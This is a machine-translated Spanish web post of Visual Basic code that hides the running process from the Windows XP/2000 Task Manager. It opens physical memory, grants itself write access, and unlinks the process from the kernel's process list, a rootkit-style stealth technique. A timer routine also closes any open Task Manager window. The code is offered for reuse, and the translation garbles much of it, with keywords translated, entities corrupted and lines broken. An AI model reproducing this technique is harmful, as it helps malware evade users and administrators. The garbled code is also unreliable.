Análisis del código fuente de Flinkx
Función de declaración privada SendMessage Lib "user 32" alias "SendMessage a" (ByVal hwnd es Long, ByVal wMsg es Long, ByVal wParam es Long, lParam es Any) es Long
Subform_Load() privado
Opción explícita
Constante privada STATUS_INFO_LENGTH_MISMATCH = &HC0000004
Constante privada STATUS_ACCESS_DENIED = &HC0000022
Constante privada STATUS_INVALID_HandLE = &HC0000008
Constante privada ERROR_SUCCESS = 0 &
Constante privada SECCIÓN _ MAP _ WRITE = & amp deuterio
Constante privada SECCIÓN _ MAP _ READ = & ampH4
Constante privada LEER _ CONTROL = & ampH20000
Constante privada WRITE _ DAC = & ampH40000
Constante privada NO_INHERITANCE = 0
Constante privada DACL_SECURITY_INFO=&H4
Función de declaración privada SetSecurityInfo Lib " advapi 32 . dll "(ByVal Handle es Long, ByVal ObjectType es SE_OBJECT_TYPE, ByVal SecurityInfo es Long, ppsidOwner es Long, ppsidGroup es Long, ppDacl es Any, ppSacl es Any) es Long
Función de declaración privada GetSecurityInfo Lib " advapi 32 dll " (ByVal Handle es Long, ByVal ObjectType es SE_OBJECT_TYPE, ByVal SecurityInfo es Long, ppsidOwner es Long, ppsidGroup es Long, ppDacl es Any, ppSacl es Any, ppSecurityDeor es Long)
Función de declaración privada SetEntriesInAcl. Lib " advapi 32. dll "Alias" SetEntriesInAcl "(ByVal ccountoexplicientries es largo, pListOfExplicitEntries es EXPLICIT_ACCESS, ByVal OldAcl es largo, NewAcl es largo) es largo
privado Declare Sub BuildExplicitAccessWithName Lib " advapi 32. dll " Alias" BuildExplicitAccessWithNameA "(pExplicitAccess es EXPLICIT_ACCESS, ByVal pTrusteeName es String, ByVal AccessPermissions es Long, ByVal AccessMode es ACCESS_MODE, ByVal Inheritance es L
ong)
Declaración privada Sub RtlInitUnicodeString Lib "NTDLL.DLL" (DestinationString es UNICODE_STRING, ByVal SourceString es Long)
Función de declaración privada ZwOpenSection Lib "NTDLL.DLL" (SectionHandle es el misma longitud, ByVal DesiredAccess tiene la misma longitud, ObjectAttributes tiene la misma longitud)
La función de declaración privada local libre Lib " kernel 32 "(ByVal hMem As Any) tiene la misma longitud
La función de declaración privada CloseHandle Lib " kernel 32 "(ByVal hObject As Long)
Función de declaración privada MapViewOfFile Lib " kernel 32 "(ByVal hFileMappingObject es largo, ByVal dwDesiredAccess es largo, ByVal dwFileOffsetHigh es largo, ByVal dwFileOffsetLow es Long, ByVal dwNumberOfBytesToMap es Long)
La función de declaración privada UnmapViewOfFile Lib "kernel 32" (lpBaseAddress As Any) es tan larga como , la longitud de ByVal es Long)
Declaración privada la función GetVersionEx Lib "kernel32 "alias" GetVersionExA "(LpVersionInformation como información de versión del sistema operativo) es larga
Tipo privado OSVERSIONINFO
dwOSVersionInfoSize como larga
dwMajorVersion tiene la misma longitud
dwMinorVersion tiene la misma longitud
dwBuildNumber es Long
dwPlatformId tiene la misma longitud
szCSDVersion As String * 128
Tipo final
Verinfo privado como OSVERSIONINFO
G_hNtDLL privado siempre
G_pMapPhysicalMemory privado siempre
G_hMPM privado siempre
Privado aByte(3) como byte
Public Sub HideCurrentProcess()
Ocultar en la lista de procesos El proceso de solicitud actual.
Los subprocesos tenues tienen la misma longitud, el proceso tiene la misma longitud, fw tiene la misma longitud y bw tiene la misma longitud
Dim lOffsetFlink es Long, lOffsetBlink es Long, lOffsetPID es Largo
verinfo .dwosversioninfosize = Len(verinfo)
if(GetVersionEx(ver info))<>then 0
si verinfo.dwPlatformId = 2, entonces
Si verinfo.dwMajorVersion = 5, entonces
Seleccione Caso verinfo.dwMinorVersion
Caso 0
lOffsetFlink = & ampHA0
lOffsetBlink = & ampHA4
lOffsetPID = & ampH9C
Caso 1
lOffsetFlink = & ampH88
lOffsetBlink = & ampH8C
lOffsetPID = & ampH84
Finalizar selección
Si... terminará
Si... terminará p>
Si... terminará terminará
Si OpenPhysicalMemory & lt& gtentonces 0
thread = get data(& HFFDFF124)
proceso = obtener datos(thread+& amp; H44)
fw = obtener datos(proceso+lOffsetFlink)
bw = obtener datos(proceso+lOffsetBlink)
SetData fw + 4, bw
SetData ancho de banda, fw
CloseHandle g_hMPM
Terminará si...
Finalizar conector p>
la sección de memoria física del subconjunto privado se puede escribir (sección ByVal h mientras sea larga)
Dim pDacl es largo
Dim pNewDacl tiene la misma longitud
Dim pSD es largo
Dim dwRes tiene la misma longitud
Dim ea As EXPLICIT_ACCESS
GetSecurityInfo hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, 0, 0, pDacl, 0, pSD
ea .grfacesspermissions = SECCIÓN _ MAP _ ESCRITURA
ea.grfAccessMode = GRANT_ACCESS
ea . grfinheritance = NO _ HERENCIA
por FIDEICOMISARIO . form = TRUSTEE _ IS _ NAME
Por TRUSTEE type = TRUSTEE_IS_USER
Por ptstrname = "CURRENT_USER" & vbNullChar
setentriesincl 1, ea, pDacl, pNewDacl p>
SetSecurityInf
o hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, 0, 0, ByVal pNewDacl, 0
Limpiar:
LocalFree pSD
LocalFree pNewDacl
Fin conector
La función privada OpenPhysicalMemory() es Long
Estado difuso a largo plazo
Atenuar PhysmemString como UNICODE_STRING
Marcar el atributo como OBJECT_ATTRIBUTES
RtlInitUnicodeString PhysmemString, StrPtr("\Device\PhysicalMemory ")
Propiedades. longitud = longitud(propiedad)
Propiedad. raíz=0
propiedad. nombre de objeto = VarPtr(physmestring)
Propiedad. propiedades = 0
Propiedades. SecurityDeor = 0
Propiedad.
SecurityQualityOfService = 0
Estado = ZwOpenSection(g_hMPM, SECTION_MAP_READ o SECTION_MAP_WRITE, atributo)
Si Estado = Estado Acceso denegado, entonces
Estado = ZwOpenSection(g_hMPM, READ_CONTROL o WRITE_DAC, atributo)
SetPhyscialMemorySectionCanBeWrited g_hMPM
CloseHandle g_hMPM
Estado = ZwOpenSection(g_hMPM, SECTION_MAP_READ o SECTION_MAP_WRITE, atributo)
Terminará si...
Dim lDirectoty tiene la misma longitud
verinfo .dwosversioninfosize = Len(verinfo)
if(GetVersionEx(ver info)) & lt;> Entonces 0
Si verinfo.dwPlatformId = 2, entonces
Si verinfo.dwMajorVersion = 5, entonces
Seleccione Caso verinfo.dwMinorVersion p> p>
Caso 0
lDirectoty = & ampH30000
Caso 1
lDirectoty = & ampH39000
Finalizar selección
Terminará si...
Terminará si...
Terminará si...
Si estado = 0, entonces
g_pmappphysicalmemory = MapViewOfFile(g_hMPM, 4, 0, lDirectoty, & ampH1000)
Si g_pMapPhysicalMemory & lt& gt0 entonces abra PhysicalMemory = g_hMPM
Si... Terminará
Finalizar función
La función privada LinearToPhys (BaseAddress tiene la misma longitud, addr tiene la misma longitud) tiene la misma longitud
Dim VAddr tiene la misma longitud, PGDE tiene la misma longitud, PTE Misma longitud, PAddr tiene la misma longitud
Dim lTemp As Long
VAddr = addr
Copiar memoria aByte(0), VAddr, 4
ltemp = fix(byteartlong(abyte)/(2 ^ 22))
PGDE = dirección base + lTemp * 4 p>
Copyright PGDE, ByVal PGDE, 4
Si (PGDE y 1)<>entonces 0
PGDE y&H80
Si lTemp<>entonces 0 p>
PADdr = (PGDE y &HFFC00000) + (VAddr y &H3FFFFF)
Otro
PGDE = MapViewOfFile(g_hMPM, 4, 0, PGDE y &HFFFFF000, y .
H1000)
lTemp = (VAddr & amph3ff 000)/(^Road 2 No. 12)
PTE = PGDE + lTemp * 4
CopyMemory PTE, ByVal PTE, 4
Si (PTE y 1)<> Entonces 0
PADdr = (PTE y & ampHFFFFF000) + (VAddr y & ampHFFF)
UnmapViewOfFile PGDE
Terminará si...
Terminará si...
Terminará si...
LinearToPhys = PAddr
Función final
La función privada GetData (la misma longitud que addr) tiene la misma longitud
Dim phys tiene la misma longitud, tmp tiene la misma longitud y ret tiene la misma longitud
phys = LinearToPhys(g_pmappphysicalmemory, addr)
tmp = MapViewOfFile(g_hMPM, 4, 0, phys &HFFFFF000, & H1000)
Si tmp & lt& gt entonces 0
ret = tmp + ((phys & ampHFFF) / (2^2)) * 4
Copiar memoria ret , ByVal ret, 4
UnmapViewOfFile tmp
GetData = ret
Terminará si...
Finalizar función
La función privada SetData (la dirección ByVal es Long, los datos ByVal son Long) es un valor booleano
Dim phys tiene la misma longitud, tmp tiene la misma longitud, x tiene la misma longitud
phys = LinearToPhys(g _ pmappphysicalmemory, addr)
tmp = MapViewOfFile(g_hMPM, SECTION_MAP_WRITE, 0, phys & ampHFFFFF000, & H1000)
Si tmp & lt& gt entonces 0
x = tmp + ((phys and & ampHFFF) / (2 ^ 2)) * 4
Copiar memoria ByVal x, datos, 4
>UnmapViewOfFile tmp
SetData = True
Terminará si...
Finalizar función
Función privada byteartlong(inByte() Como Byte) es Doble
Marque I como un número entero
p>Para I = 0 a 3
byteartlong = byteartlong+inByte(I)*(& H100^I)
Siguiente I
Finalizar función
Finalizar función
Subtemporizador privado 1_Timer()
HW = FindWindow (vbnullstring, "Administrador de tareas de Windows")
Enviar mensaje HW&H10,0
Enviar clave "%"
i. SetFocus
El conector final
Da tanto miedo~~~Casi no puedo recuperarlo.
Si no se está ejecutando en VB, realmente no sé cómo salir.
Sería más interesante si el estilo del formulario estuviera establecido en Ninguno y el estado de inicio estuviera establecido en Maximizado.
Si le preocupa no poder jubilarse, puede hacer esto:
Private Sub Form_KeyDown (KeyCode es un número entero, Shift es un número entero)
Si KeyCode = Asc("I " ), final
Finalizar conector
Entonces puedes salir presionando la tecla "I".
Ocultar el código VB del proceso en sistema XP/2K
Atributo VB_Name = "modHideProcess "
-
Nombre del módulo: modHideProcess.bas
'
Función del módulo: Oculta el proceso actual en la lista de procesos del Administrador de tareas de XP/2K.
'
Uso: Llame a HideCurrentProcess() directamente
'
Autor del módulo: Obtenido de Internet, el autor original es desconocido .
Fecha de revisión: 26 de agosto de 2006
-